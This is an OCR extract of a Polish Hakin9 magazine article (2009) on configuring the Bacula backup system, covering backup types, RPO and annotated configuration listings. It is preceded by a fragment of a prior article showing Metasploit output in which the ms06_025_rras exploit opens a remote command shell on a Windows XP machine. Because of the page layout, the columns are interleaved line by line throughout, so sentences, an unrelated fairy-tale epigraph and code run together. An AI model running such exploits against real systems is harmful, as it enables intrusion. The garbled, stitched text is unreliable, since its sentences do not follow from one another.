analizowanych systemów na pewne msf exploit(ms06_025_rras) > exploit
działania.
[*] Started bind handler
*Opcode – czyli kod operacji, [*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_
jest to liczba, będąca fragmentem np:192.168.1.20[\SRVSVC] ...
rozkazu przekazywanego do wykonania [*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_
np:192.168.1.20[\SRVSVC] ...
do procesora, która informuje, jaka
[*] Getting OS...
operacja ma zostać wykonania (źródło: [*] Calling the vulnerable function on Windows XP...
Wikipedia). [*] Command shell session 1 opened (192.168.1.13:2347 -> 192.168.1.20:4444)
Strzeżcie się wilka! – rzekła mama
Microsoft Windows XP [Version 5.1.2600]
koza. – Jeśli się tu wedrze, to zje was w (C) Copyright 1985-2001 Microsoft Corp.
całości wraz ze skórą i kopytkami. Umie C:\Windows\system32>
on dobrze udawać, ale poznacie go od
razu po grubym głosie i czarnych łapach.
(z bajki braci Grimm O wilku i siedmiu Grzegorz Gałęzowski
Autor jest informatykiem, członkiem zespołu naukowego do opracowania, przygotowania i wdrożenia w
koźlątkach) archiwach państwowych Zintegrowanego Systemu Informacji Archiwalnej, który jest pierwszym systemem
Pełna najlepszych chęci koza informatycznym, tworzonym przez administrację rządową w Polsce, opartym w całości na tzw. „otwartym
oprogramowaniu”. Autor zajmuje się Linuksem od ponad 12 lat. Hobby informatyczne to systemy IBM z/OS,
próbowała chronić swoje dzieci, OS/400, AIX i SAP R/3.
posługując się strategią kontroli dostępu: Kontakt z autorem: gsgalezowski@gmail.com

4/2009 HAKIN9 51
OBRONA
System kopii
MARCIN KLAMRA

zapasowych
Stopień trudności
Bacula
Wykonywanie kopii zapasowych jest operacją niezbędną w każdym
środowisku, w którym przetwarza się dane. Proces wykonywania
kopii zapasowych jest monotonny i powinien być wykonywany
automatycznie. Spełnienie tego warunku wymaga posiadania
stosownego sprzętu i oprogramowania.

Z
anim zostanie zaprezentowana filozofia tworzenia kopii danych to awarie sprzętu (np.
działania oraz konkretne przykłady uszkodzenie dysku twardego) lub kradzież sprzętu.
konfiguracji systemu Bacula, warto Jak można przypuszczać, istnieją różne
zastanowić się nad kilkoma podstawowymi typy kopii zapasowych. W zależności od
kwestiami. Przede wszystkim – czym jest przeznaczenia kopii zapasowej można wyróżnić
kopia zapasowa (backup) i czym różni się ona kopie zapasowe danych, kopie zapasowe
od archiwizacji? Kopia zapasowa jest kopią systemu oraz archiwizację danych. Kopia
danych, która ma służyć do ich odtworzenia zapasowa danych służy do zapisania duplikatu
w przypadku utraty lub uszkodzenia danych tylko danych użytkowników, poczty, baz danych,
oryginalnych. Archiwizacja z kolei jest procesem stron WWW – a więc wszystkich danych, które
tworzenia kopii zapasowych danych w celu ich zostały utworzone z wykorzystaniem systemu
przechowywania przez dłuższy czas (np. kilka operacyjnego i działających w nim aplikacji.
lat). Chęć (bądź konieczność) wykonywania kopii Kopia zapasowa systemu służy do wykonania
archiwalnych wynikać może między innymi z duplikatu całego systemu plików wraz z systemem
potrzeby składowania danych dla celów własnej ich operacyjnym i plikami aplikacji. Jest to kompletny
Z ARTYKUŁU
analizy w przyszłości lub z obowiązku nałożonego obraz całego systemu i jako taki może posłużyć
DOWIESZ SIĘ
przez przepisy prawa. Oprócz tego archiwizacja nie tylko do odzyskania danych użytkowników,
jak skonfigurować system
kopii zapasowych Bacula do wykonywana jest również wtedy, gdy oryginalne dane ale również do odzyskania całego systemu
centralnego wykonywania kopii nie są aktualnie potrzebne do pracy, a zajmowana w momencie nieodwracalnego uszkodzenia
zapasowych heterogenicznego
środowiska, przez nie przestrzeń dyskowa może zostać serwera (np. pożaru). Tego typu kopia pozwala
w jaki sposób przy niewielkim wykorzystana do przechowywania innych danych. na uruchomienie całego systemu na innym
nakładzie pracy zapewnić sobie Oczywiście pojawia się pytanie, po co sprzęcie w bardzo krótkim czasie (tzw. bare metal
wykonywanie kopii zapasowych
cennych danych stacji roboczej. wykonywać kopie zapasowe danych albo restore). Archiwizacja jest z kolei kopią danych
raczej: w jakich sytuacjach kopia zapasowa służącą do długoterminowego przechowywania.
CO POWINIENEŚ może okazać się przydatna? Odpowiedź na to W odróżnieniu od kopii zapasowej, która
WIEDZIEĆ pytanie jest bardzo prosta, szczególnie dla osób, przechowywana jest przez krótki okres (zależnie
czym jest kopia zapasowa,
którym przytrafiła się utrata danych. Jedną z od przyjętej polityki – od kilku dni do jednego
jaki sprzęt jest wykorzystywany najczęstszych sytuacji, w których konieczne jest roku), archiwizacja służy do przechowywania
do wykonywania kopii
zapasowych, odzyskanie danych z kopii zapasowej, jest błąd danych przez dłuższy czas (np. kilka lub
znać strategie rotacji nośników, człowieka, czyli przypadkowe usunięcie istotnych kilkanaście lat).
znać podstawy konfiguracji
danych. Często dane są celowo usuwane przez Oprócz typów kopii zapasowych możemy
systemów Windows oraz Linux. użytkownika. Kolejne sytuacje motywujące do także wyróżnić kilka ich rodzajów: kopie pełne,

52 HAKIN9 4/2009
SYSTEM KOPII ZAPASOWYCH BACULA

różnicowe i przyrostowe. Kopia pełna czasie RPO, należy zastosować inną w niezawodnym systemie tworzenia
wykonuje duplikat wszystkich danych strategię. Jeżeli czas RPO ma być mierzony kopii zapasowych. Ze względu na swoją
niezależnie od czasu, kiedy były ostatnio w sekundach, wtedy konieczne jest monotonność i powtarzalność nie ma
kopiowane. W razie utraty lub uszkodzenia zastosowanie systemu zapewniającego sensu – a co więcej, jest to niewskazane –
danych kopia ta pozwala na najszybsze ciągłą ochronę danych (ang. Continuous by angażować do tego procesu człowieka.
odtworzenie danych. Niestety, ze względu Data Protection). Może on zawieść, popełnić błąd czy
na jej kompletność wymaga nośnika Kolejnymi istotnymi, wartymi poruszenia zapomnieć o wykonaniu kopii zapasowej.
o największej pojemności. Co więcej, sprawami są automatyzacja i centralizacja Przy wykorzystaniu odpowiedniego,
wykonywanie kopii pełnej w największym procesu wykonywania kopii zapasowych. poprawnie skonfigurowanego
stopniu obciąża duplikowany system i Automatyzacja jest właściwie wymagana oprogramowania oraz należytego
jest najbardziej czasochłonne spośród
wszystkich rodzajów kopii. Kopia różnicowa
służy do wykonania duplikatu danych
zmodyfikowanych od czasu wykonywania
ostatniej kopii pełnej. Ilość danych, jaką �������������������
trzeba zapisać w wyniku wykonywania tej ��������

kopii, jest znacznie mniejsza niż dla kopii ������������� �������������


pełnej, dzięki czemu wymaga nośnika o
�����������������
niższej pojemności, wykonuje się szybciej
i w mniejszym stopniu obciąża duplikowany
system. Kopia przyrostowa wykonuje
duplikat danych zmodyfikowanych
od czasu wykonywania ostatniej kopii ������������� ������������������
��������������
(mogła to być kopia pełna, różnicowa lub
przyrostowa). Ilość danych koniecznych
do zapisania jest najmniejsza, a co za
tym idzie – czas potrzebny na wykonanie
kopii jest najkrótszy, lecz odzyskanie
��������������
danych z tego typu kopii trwa najdłużej.
Konieczne jest bowiem częściowe
odzyskanie danych z kopii pełnych, ���������� �������������
różnicowych i przyrostowych. Kompromis
pomiędzy czasem wykonywania kopii a
czasem odtwarzania danych w przypadku Rysunek 1. Zależności pomiędzy modułami systemu Bacula
awarii uzyskuje się poprzez umiejętne
zastosowanie wszystkich trzech rodzajów
Listing 1. Konfiguracja modułu Console
kopii (np. kopia pełna wykonywana w
pierwszym dniu miesiąca, kopia różnicowa Director {
Name = host-dir
wykonywana w pierwszym dniu tygodnia,
DIRport = 9101
a kopia przyrostowa wykonywana w address = host.domena
pozostałe dni). Password = "fdsIDSVNew8sfd"
Przy zastosowaniu powyższej strategii }

otrzymujemy system, w którym kopia


Listing 2. Konfiguracja modułu Storage – sekcja Storage
wykonywana jest jeden raz dziennie. Czas
RPO (ang. Recovery Point Objective) w tej Storage {
Name = host-sd
strategii wynosi 24 godziny. Wielkość ta
SDPort = 9103
jest czasem opisującym pesymistyczny WorkingDirectory = "/var/bacula/working"
docelowy stan odtworzenia, czyli w Pid Directory = "/var/run"
najgorszym razie dane po odtworzeniu nie Maximum Concurrent Jobs = 20
}
będą starsze niż sprzed czasu określonego
przez wskaźnik RPO. Przedstawiona
Listing 3. Konfiguracja modułu Storage – sekcja Director
strategia chroni użytkowników przed utratą
danych zmodyfikowanych od poprzedniego Director {
Name = host-dir
dnia pracy (zakładający wykonywanie kopii
Password = "UIIadsksd89"
wieczorem lub nad ranem). Gdyby jednak }
istotna była ochrona danych o krótszym

4/2009 HAKIN9 53
OBRONA
sprzętu proces tworzenia kopii zapasowej Centralizacja jest z kolei wskazana narzędziami i metodami znacznie
może zostać w pełni zautomatyzowany. ze względu na łatwość zarządzania oraz prostszymi – co nie znaczy, że mniej
Takim oprogramowaniem może być wysoki stopień wykorzystania zbioru skutecznymi.
system Bacula. Odpowiedni sprzęt to urządzeń i nośników danych służących Przykładowym narzędziem tego typu
taki, który zarówno w procesie tworzenia do zapisywania kopii zapasowych. Warto jest rsnapshot , dostępny dla użytkowników
kopii zapasowej, jak i w procesie zainwestować w urządzenie wyższej systemu Linux. Transfer danych w ramach
odtwarzania danych nie wymaga klasy, zapewniające większą pojemność, lokalnego systemu wykonywany jest przy
żadnej interwencji człowieka, np. w niż w kilka urządzeń o mniejszych pomocy narzędzia rsync, do transferu
postaci konieczności umieszczenia pojemnościach. Przy zastosowaniu danych do innej maszyny wykorzystywany
odpowiedniego nośnika w napędzie. Tego odpowiedniego oprogramowania (jakim jest rsync oraz ssh. Rsnapshot podczas
typu sprzętem mogą być na przykład jest Bacula) istnieje możliwość centralnego pierwszego uruchomienia wykonuje kopię
wszelkiego rodzaju autoloadery, a więc wykonywania jednoczesnych kopii na jedno pełną wskazanych danych. Podczas
urządzenia posiadające magazyny taśm urządzenie składujące z różnych systemów kolejnych uruchomień wykorzystywany
i automatycznie ładujące odpowiednie operacyjnych. Jedynym wymaganiem jest jest mechanizm linków twardych. Na
taśmy do napędu streamera. Przy odpowiednie skonfigurowanie systemu nowo kopiowane są tylko pliki nowo
założeniu odpowiedniej strategii kopii zapasowych. utworzone lub zmienione. Dla wszystkich
wykonywania kopii oraz konfiguracji System Bacula służy do wykonywania pozostałych tworzone są linki twarde do
oprogramowania interwencja człowieka kopii zapasowych zarówno małych, jak plików znajdujących się w kopii pełnej.
nie będzie konieczna nigdy bądź bardzo i dużych systemów komputerowych. Zastosowanie tego mechanizmu zapewnia
rzadko (np. wymiana uszkodzonych Jego używanie nie jest jednak zawsze niewielki rozmiar kolejnych kopii, szybkość
nośników danych czy wymiana całego uzasadnione. W przypadku wykonywania działania oraz łatwość odtwarzania danych
magazynu nośników po ich zapełnieniu np. kopii zapasowych pojedynczej stacji z kopii. Wykonywanie kopii może być
raz na miesiąc). roboczej czasami warto posłużyć się regularnie uruchamiane z wykorzystaniem
demona cron, nawet w stosunkowo
niewielkich odstępach czasu (np. co
Listing 4. Konfiguracja modułu Storage – sekcja Autochanger
godzinę). Rozwiązanie to idealnie nadaje
Autochanger { się do zabezpieczania danych, na których
Name = "zmieniacz"
aktualnie pracuje użytkownik.
Device = "Ultrium"
Changer Command = "/usr/local/bacula/etc/mtx-changer %c %o %S %a %d" Bacula jest systemem
Changer Device = /dev/sg1 centralnego zarządzania tworzeniem
} i przechowywaniem, ale także
wykonywaniem kopii zapasowych
Listing 5. Konfiguracja modułu Storage – sekcja Device
danych i systemu. Ze względu na
Device { dostępność wersji dla różnych systemów
Name = "Ultrium"
operacyjnych doskonale nadaje się do
Device Type = Tape
Media Type = LTO-4
pracy w środowiskach heterogenicznych.
Drive Index = 0 Oprogramowanie Bacula dostępne jest
AutoChanger = yes dla systemów Unix, Linux, Windows (tylko
Archive Device = /dev/nst0
oprogramowanie klienckie) oraz Mac OS.
LabelMedia = No;
Random Access = No; Pozwala to na centralne, jednoczesne
AutomaticMount = Yes; wykonywanie kopii zapasowych dla
RemovableMedia = Yes; wszystkich wyżej wymienionych systemów
AlwaysOpen = Yes;
Spool Directory = /backup
operacyjnych. System Bacula pozwala
Maximum Spool Size = 100 g na zapisywanie kopii zapasowych na
} różnego rodzaju nośnikach (dyski, napędy
optyczne, taśmy) i jednoczesną obsługę
Listing 6. Konfiguracja modułu Director – sekcja Director wielu nośników (np. wykorzystywanie kilku
Director { streamerów do zapisu danych). Informacje
Name = host-dir na temat wykonywanych kopii oraz
DIRport = 9101
dostępnych nośników przechowywane
QueryFile = "/etc/query.sql"
WorkingDirectory = "/var/bacula/working" są w bazie danych. Bacula potrafi
PidDirectory = "/var/run" współpracować z różnymi bazami
Maximum Concurrent Jobs = 5 danych (mySQL, SQLite, postgresql), co
Password = "jfkbwf8FDSwef"
czyni ten system bardzo elastycznym
Messages = Daemon
} w zastosowaniu. Dodatkowo Bacula
doskonale współpracuje z urządzeniami

54 HAKIN9 4/2009
SYSTEM KOPII ZAPASOWYCH BACULA

pozwalającymi na automatyczną zadaniem jest zapisywanie danych na Director. Pozostałe komponenty


wymianę nośników danych (autoloadery), dostępnym nośniku. mogą pojawiać się wielokrotnie. O ile
także wyposażonych w czytniki kodów Piątym, ostatnim, modułem w przypadku modułu File wydaje się
kreskowych, co sprzyja automatyzacji jest Console – komponent konsoli to być oczywiste (można wykonywać
procesu wykonywania kopii zapasowych. administratora. Z poziomu tego modułu kopie danych z wielu maszyn), o tyle w
Pozwala to także na odtworzenie systemu administrator może zarządzać systemem przypadku pozostałych modułów już tak
po awarii (bare metal recovery). Wszystkie kopii zapasowych oraz wykonywać nie jest. Moduł Catalog może pojawić
wymienione wyżej cechy sprawiają, że poszczególne zadania, takie jak zlecanie się wielokrotnie, jeśli administrator
system Bacula nadaje się do zastosowania wykonania kopii zapasowej poza chce dane o poszczególnych kopiach
w wielu środowiskach wymagających zdefiniowanym harmonogramem czy przechowywać w różnych bazach
wykonywania kopii zapasowych. odzyskiwanie danych. Konsola służy także danych. Komponent Storage może
Bacula jest rozwiązaniem do monitorowania pracy całego systemu. pojawić się wielokrotnie, jeśli w całym
modułowym. Składa się z kilku Dostępne są zarówno wersje tekstowe, jak i systemie kopii dostępne jest więcej niż
elementów funkcjonalnych wykonujących graficzne konsoli zarządzającej. jedno urządzenie pozwalające na zapis
poszczególne zadania. Każdy z modułów W całym systemie kopii zapasowych kopii danych, a do tego podłączone
może działać na oddzielnej maszynie, może wystąpić tylko jeden moduł jest np. do innej maszyny. Podobnie
można je także zainstalować na jednym
hoście. Jest to możliwe dzięki temu,
Listing 7. Konfiguracja modułu Director – sekcja JobDefs
że komunikacja pomiędzy modułami
odbywa się z wykorzystaniem protokołów JobDefs {
Name = "Linux Backup"
sieciowych. Taka architektura systemu
Enabled = yes
czyni go uniwersalnym. Na Rysunku 1. Type = Backup
przedstawione są zależności pomiędzy Level = Incremental
poszczególnymi modułami. Client = host-fd
FileSet = "Full Set Host"
Pierwszym, podstawowym modułem Schedule = "MonthlyCycle"
jest Director. Jest to moduł centralny, Storage = host-sd
pełniący nadzór nad całym procesem Messages = Standard
Pool = Default
tworzenia i odzyskiwania kopii zapasowych.
Spool Data = yes
To właśnie w tym module definiuje się Maximum Concurrent Jobs = 10
harmonogram wykonywania kopii (co Priority = 10
i kiedy ma zostać skopiowane), gdzie }

dane mają zostać zapisane (na którym


Listing 8. Konfiguracja modułu Director – sekcja Job
z dostępnych urządzeń zapisać kopię)
oraz gdzie zapisać informacje na temat Job {
wykonywanych kopii i wykorzystanych Name = "Host2 Backup"
JobDefs = "Linux Backup"
nośników danych. Client = host2-fd
Kolejnym modułem jest Catalog. FileSet = "Full Set Host2"
Jest to standardowa baza danych, w Write Bootstrap = "/usr/local/bacula/bootstrap/Host2.bsr"
której przechowywane są wszystkie }

dane związane z procesem tworzenia


Listing 9. Konfiguracja modułu Director – sekcja FileSet
kopii zapasowych. Są to między innymi
informacje o tym, co zostało skopiowane, FileSet {
Name = "Full Set Host2"
kiedy, na jakim nośniku zostało zapisane,
Include {
jak również informacje na temat Options {
dostępnych nośników i ich stanie (np. signature = MD5
nośnik pełny, pusty, uszkodzony itp.). }
File = /
Trzecim modułem jest File . Moduł
File = /var
ten jest komponentem klienckim. Instaluje }
się go na każdej maszynie, która ma Exclude {
podlegać procesowi wykonywania kopii File = /proc
File = /tmp
zapasowej. Zadaniem tego modułu jest File = /var/spool/squid
przesyłanie danych do modułu Storage w File = /.journal
celu zapisania ich kopii. Pracą tego modułu File = /.fsck
}
steruje moduł Director.
}
Wspomniany przed chwilą komponent
Storage to czwarty moduł Baculi. Jego

4/2009 HAKIN9 55
OBRONA
konsol zarządzających może być wiele. Director, którym dana konsola ma Konfiguracja sekcji Director (Listing
Systemem może zarządzać więcej niż zarządzać. W pliku konfiguracyjnym 3) zawiera jedynie nazwę modułu
jeden administrator. (bconsole.conf ) znajduje się nazwa zarządzającego oraz hasło. Określa, który
Instalacja systemu Bacula nie jest modułu (wykorzystywana tylko w plikach moduł Director ma prawo komunikować
skomplikowana. W przypadku systemu konfiguracyjnych), adres maszyny, na której się z modułem Storage .
Windows można ze strony projektu zainstalowany został moduł Director, Sekcja Autochanger (Listing 4)
pobrać wersję instalacyjną modułu numer portu, na którym oczekuje na określa urządzenie zmieniające. Pierwszym
File (dla okienek dostępny jest tylko połączenia oraz hasło. elementem konfiguracji tej sekcji jest
ten komponent). W systemach Unix lub nadanie nazwy zasobowi zmieniającemu
Linux możliwa jest instalacja zarówno z Konfiguracja modułu Storage nośniki (jest to zresztą ogólna zasada
przygotowanych pakietów (wchodzących Konfiguracja modułu Storage (plik konfiguracji systemu Bacula – każdy
w skład poszczególnych dystrybucji), bacula-sd.conf ) jest znacznie bardziej zasób posiada swoja nazwę, którą
jak również kompilacja ze źródeł. W rozbudowana. Składa się z kilku sekcji: można się później posługiwać w innych
przypadku konieczności kompilacji Storage – sekcja ta opisuje moduł, sekcjach konfiguracji). Drugi element
odsyłam do dokumentacji zawartej w Director – definiuje moduł zarządzający, określa urządzenie zapisujące dane, które
pakietach źródłowych. W trakcie instalacji opcjonalna sekcja Autochanger obsługiwane jest poprzez to urządzenie
lub konfiguracji ze źródeł tworzone są opisująca urządzenie zmieniające zmieniające (tutaj podaje się nazwę
przykładowe pliki konfiguracyjne. (o ile oczywiście jest dostępne) oraz zasobu Device). Dalej zdefiniowane jest
Konfigurację systemu Bacula sekcja Device opisująca urządzenie polecenie służące do zmiany taśm (jest to
najlepiej rozpocząć od końca, czyli od zapisujące kopie zapasowe. Oprócz tego skrypt wchodzący w skład systemu Bacula)
skonfigurowania modułu Console, a występują jeszcze sekcje informujące o oraz urządzenie w systemie reprezentujące
następnie modułów Storage, File i tym, gdzie i w jaki sposób przesyłane są zmieniarkę.
Director (konfiguracja modułu Catalog komunikaty. Konfiguracja tych sekcji dla Ostatnia sekcja konfiguracji
znajduje się w pliku konfiguracyjnym wszystkich modułów jest taka sama i na modułu Storage ( Device ) definiuje
modułu Director). Dzięki takiemu tyle oczywista, że jej opis zostanie tutaj urządzenie zapisujące dane. Na Listingu
podejściu nie będzie konieczne ustawiczne pominięty. 5 przedstawiona jest konfiguracja
powracanie do pliku konfiguracyjnego Na Listingu 2. przedstawiona jest napędu taśmowego LTO-4. Zgodnie
modułu Director. Dodanie bowiem konfiguracja sekcji Storage . W sekcji tej z ogólną zasadą, określona zostaje
kolejnego klienta lub kolejnego modułu definiuje się nazwę modułu Storage, nazwa zasobu (proszę zauważyć, że
odpowiedzialnego za zapisywanie kopii na numer portu, na którym oczekuje na wykorzystana ona jest w konfiguracji
nośnikach wymaga modyfikacji konfiguracji połączenia, katalog roboczy aplikacji, zasobu Autochanger), dalej określony
modułu Director. katalog, w którym zapisana jest informacja jest typ urządzenia (możliwe wartości
o numerze PID, oraz wielkość definiująca to File , Tape , Fifo oraz DVD ), dalej typ
Konfiguracja liczbę jednoczesnych zadań, jakie mogą nośnika (jest to też nazwa umowna),
modułu Console zapisywać dane do modułu Storage . numer napędu w urządzeniu (urządzenie
Konfiguracja modułu Console (Listing Zadania definiowane są w konfiguracji może posiadać więcej niż jeden
1) sprowadza się do określenia modułu modułu Director. napęd), określenie, czy urządzenie
obsługiwane jest przez zmieniarkę,
określenie urządzenia w systemie.
Listing 10. Konfiguracja modułu Director – sekcja Schedule
Kilka kolejnych parametrów definiuje
Schedule { odpowiednio, czy nośniki danych mają
Name = "MonthlyCycle"
być automatycznie nazywane (nie jest
Run = SpoolData = yes Level = Full 1st sun at 23:05
Run = SpoolData = yes Level = Differential 2nd-5th sun at 23:05 to konieczne, gdy wykorzystywana
Run = SpoolData = yes Level = Incremental mon-sat at 23:05 jest określona pula nazwanych przez
} administratora nośników), czy urządzenie
jest urządzeniem o swobodnym dostępie
Listing 11. Konfiguracja modułu Director – sekcja Client
do danych (nośniki dyskowe, DVD), czy
Client { dostępie sekwencyjnym (taśmy, kolejki
Name = host2-fd FIFO), czy nośnik ma być automatycznie
Address = host2
FDPort = 9102
montowany, czy urządzenie posiada
Catalog = MyCatalog wymienne nośniki (taśmy, DVD), czy
Password = "daf8SSD9ikv” urządzenie ma być zawsze dostępne
File Retention = 90 days
do zapisu (chyba, że zostanie jawnie
Job Retention = 6 months
AutoPrune = yes domontowane poprzez wydanie
} polecenia w konsoli zarządzającej).
Ostatnie dwa parametr y przykładowego

56 HAKIN9 4/2009
SYSTEM KOPII ZAPASOWYCH BACULA

pliku konfiguracyjnego określają, gdzie Znaczenie tych sekcji jest również takie parametry dostępu do bazy danych,
znajduje się katalog tymczasowego samo, jak w przypadku komponentu w której zapisywane są informacje
przechowywania kopii zapasowej oraz Storage . o wykonywanych zadaniach (jest to
jaką posiada pojemność. Tymczasowe konfiguracja modułu Catalog), Storage
przechowywanie kopii jest istotne w Konfiguracja – opisuje dostępne moduły Storage,
przypadku korzystania z napędów modułu Director wreszcie Pool – definiuje zbiór dostępnych
taśmowych, a szczególnie w przypadku Moduł Director ze względu na nośników danych.
jednoczesnego zapisu danych z kilku nadzorczy charakter posiada najbardziej Konfiguracja sekcji Director (Listing
serwerów. rozbudowaną konfigurację. W pliku 6) zawiera definicje nazwy modułu
Chodzi tutaj przede wszystkim o konfiguracyjnym (bacula-dir.conf ) znajdują zarządcy, numer portu, na którym oczekuje
uniknięcie zjawiska naciągania się taśmy. się następujące sekcje: Director na połączenia od modułów Console,
Gdyby kopia zapasowa zapisywana była – definiująca moduł nadzorczy (jedyna określenie pliku, w którym znajdują się
bezpośrednio na taśmę, wtedy napęd sekcja, która może pojawić się tylko definicje zapytań SQL kierowanych
musiałby co chwilę (gdy nadejdzie pakiet raz, pozostałe mogą występować do bazy danych w celu wykonywania
danych) rozpędzać się i zatrzymywać wielokrotnie), JobDefs – predefiniuje poleceń administratora (plik zawarty jest
(gdy pakiet ten zostanie zapisany). W wartość poszczególnych parametrów w dystrybucji systemu Bacula), katalog,
przypadku wykorzystywania tymczasowego wspólnych dla zdefiniowanych później w którym moduł zostaje uruchomiony,
przechowywania kopii zjawisko to jest zadań, Job – definiuje zadanie, którym wskazanie miejsca, gdzie przechowywana
minimalizowane, gdyż w prezentowanym może być wykonywanie kopii zapasowej lub jest informacja PID, liczbę zadań, jakie
przypadku zapis następuje w porcjach odzyskiwanie danych, FileSet – określa nadradca może jednocześnie uruchomić,
po 100 gigabajtów danych. Gdy jeszcze zbiór plików, które mają zostać skopiowane, hasło służące do łączenia się z nadradcą
wykorzystywany jest do tego jednoczesny Schedule – określa harmonogram z poziomu konsoli administratora (powinno
zapis danych z kilku serwerów, wtedy wykonywania zadań, Client – definiuje być takie samo, jak w konfiguracji modułu
przy bezpośrednim zapisie na taśmę maszyny, które podlegają procesowi Console) oraz określenie sposobu obsługi
dane byłyby bardzo poszatkowane. Na wykonywania kopii, Catalog – określa wszelkich komunikatów niepowiązanych
taśmie zapisany zostałby jeden pakiet
danych z serwera A, jeden z serwera
Listing 12. Konfiguracja modułu Director – sekcja Storage
B itd. Odzyskiwanie tak zapisanych
danych byłoby bardzo czasochłonne, Storage {
Name = host-sd
a do tego bardzo obciążałoby napęd
Address = host
taśmowy i sam nośnik (duża ilość operacji SDPort = 9103
przewijania i odczytu). Wykorzystanie Password = " 7cPIehqKR3BhRT6ak"
katalogu tymczasowego przechowywania Device = "zmieniacz"
Media Type = LTO-4
pozwala na posegregowanie danych z AutoChanger = yes
różnych serwerów w duże zbiory przed ich Maximum Concurrent Jobs = 20
zapisaniem. }

Listing 13. Konfiguracja modułu Director – sekcja Catalog


Konfiguracja modułu File
Moduł File odpowiedzialny jest za Catalog {
wysłanie kopii danych określonych przez Name = MyCatalog
dbname = "bacula"
moduł zarządzający do urządzenia
dbuser = "bacula"
zapisującego wskazanego przez moduł dbpassword = "Df98vdf34f";
zarządzający. Moduł File jest więc DB Address = 127.0.0.1
komponentem w pełni zależnym od DB Port = 5432
}
modułu Director i jako taki nie ma
najmniejszego wpływu na konfigurację Listing 14. Konfiguracja modułu Director – sekcja Pool
całego systemu Bacula. W związku z tym
w pliku konfiguracyjnym (bacula-fd.conf ) Pool {
Name = Default
tego elementu systemu kopii zapasowych, Maximum Volumes = 16
poza częścią określającą adresata Storage = host-sd
wszelkich komunikatów, zdefiniowane Pool Type = Backup
Recycle = yes
są tylko dwie sekcje. Są nimi sekcja
Recycle Oldest Volume = yes
FileDaemon , która jest niemal identyczna, AutoPrune = yes
jak sekcja Storage modułu o tej samej Volume Retention = 365 days
nazwie oraz sekcja Director, która }

jest identyczna, jak w module Storage .

4/2009 HAKIN9 57
OBRONA
z żadnym zadaniem (parametr Daemon zadania (możliwe wartości to Backup, tymczasowo przechowywane, liczbę
określa, że będą obsługiwane przez moduł Restore, Verify i Admin), poziom jednoczesnych zadań tego typu (jeśli w
Director). wykonywanej kopii zapasowej (można konfiguracji sekcji Director wartość
Sekcja JobDefs definiuje wspólne podać Full, Differential bądź ta jest mniejsza, parametr podany
dla wszystkich zadań parametry. Incremental), określenie maszyny, która tutaj nie jest brany pod uwagę), i na
W definicji poszczególnych zadań będzie podlegała temu zadaniu, ustalenie koniec – priorytet określający kolejność
można później wykorzystać te zasoby zbioru plików, jakie będą kopiowane, wykonywania zadań.
i ewentualnie redefiniować niektóre z definicja harmonogramu, przy którego W prezentowanej tutaj konfiguracji w
parametrów. Parametry, jakie można użyciu zadanie będzie automatycznie sekcji Director określona jest możliwość
definiować w tej sekcji (co wydaje się uruchamiane, określenie modułu typu jednoczesnego wykonywania do 5 zadań.
oczywiste) są takie, jak dla sekcji Job. Storage , który zostanie wykorzystany Priorytet pozwala zdefiniować, które
W przykładowej definicji zasobu (Listing do zapisu kopii danych, sposób obsługi zadania wykonywane będą wcześniej
7) kolejno określone zostały: nazwa komunikatów generowanych przez (gdyby było ich więcej niż 5).
zbioru definicji, czy dane zadanie ma zadanie, zbiór nośników, na których Sekcja Job służy do zdefiniowania
być automatycznie uruchamiane z zapisana zostanie kopia danych, to, czy zadania. Może korzystać z sekcji typu
wykorzystaniem harmonogramu, typ dane mają być przed zapisem na nośnik JobDefs i dookreślić dodatkowe parametry
lub je redefiniować. W przykładowej
definicji (Listing 8) określona zostaje
Listing 15. Odzyskanie danych na żądanie
nazwa zadania, zbiór predefiniowanych
*run wartości, z których korzysta zadanie,
następuje redefinicja klienta oraz zbioru
A job name must be specified.
The defined Job resources are: plików względem zbioru predefiniowanych
1: Host1 Backup wartości i podana zostaje ścieżka do
2: Host2 Backup pliku, w którym zapisany zostanie plik typu
3: Host3 Backup
bootstrap.
Select Job resource (1-3):
Pliki bootstrap wykorzystywane są
Listing 16. Wybór danych do odzyskania do odzyskiwania kopii zapasowych w
przypadku utracenia bazy danych, w
cwd is: /
$ ls
której zapisana jest informacja, na jakiej
boot/ etc/ home/ root/ usr/ var/ taśmie znalazły się składowane pliki.
Plik bootstrap zawiera informacje o
$ mark etc
tym, skąd odzyskać pliki, by przywrócić
332 files marked.
dane do stanu, w jakim znajdowały się
$ done w trakcie ostatnio wykonywanej kopii.
W przypadku kopii pełnej w pliku tym
Listing 17. Uruchomienie procesu odzyskiwania danych zapisywana jest pełna informacja o
*restore odzyskaniu danych. Gdy wykonywana
jest kopia różnicowa lub przyrostowa, na
Automatically selected Catalog: MyCatalog końcu pliku dopisywane są informacje
Using Catalog "MyCatalog"
o różnicach względem kopii pełnej.
First you select one or more JobIds that contain files Pliki tego typu, jako niezbędny element
to be restored. You will be presented several methods odzyskiwania systemu po awarii, muszą
of specifying the JobIds. Then you will be allowed to
być zapisywane na nośniku niezależnym
select which files from those JobIds are to be restored.
od maszyny, na której pracuje moduł
To select the JobIds, you have the following choices: Director i Catalog . Najczęściej pliki
1: List last 20 Jobs run te zapisywane są na innej maszynie do
2: List Jobs where a given File is saved
podmontowanego zdalnego folderu.
3: Enter list of comma separated JobIds to select
4: Enter SQL list command Sekcja FileSet definiuje zbiór
5: Select the most recent backup for a client danych, jaki ma być kopiowany. Może
6: Select backup for a client before a specified time także określać wykonanie dodatkowych
7: Enter a list of files to restore
8: Enter a list of files to restore before a specified time
operacji. Sekcja ta składa się z dwóch
9: Find the JobIds of the most recent backup for a client podsekcji: Include oraz Exclude . W
10: Find the JobIds for a backup for a client before a specified time podsekcji Include określa się pliki, jakie
11: Enter a list of directories to restore for found JobIds
mają zostać skopiowane, z kolei w sekcji
12: Cancel
Select item: (1-12): Exclude wskazuje się pliki, jakich kopiować
nie należy. W wyniku scalenia dwóch tak

58 HAKIN9 4/2009
SYSTEM KOPII ZAPASOWYCH BACULA

zdefiniowanych grup plików powstaje zbiór w pozostałe niedziele miesiąca wykonuje się z klientem. Ostatnie trzy dyrektywy
danych do skopiowania. W przykładowej kopię różnicową, a w pozostałe dni – kopię służą do określenia polityki usuwania z
konfiguracji (Listing 9) w sekcji Include przyrostową. Kopie wykonywane są zawsze Catalog'u danych o wykonywanych dawniej
określona została jeszcze podsekcja w nocy (od godz. 23:05). Zastosowanie zadaniach. W przykładowej konfiguracji
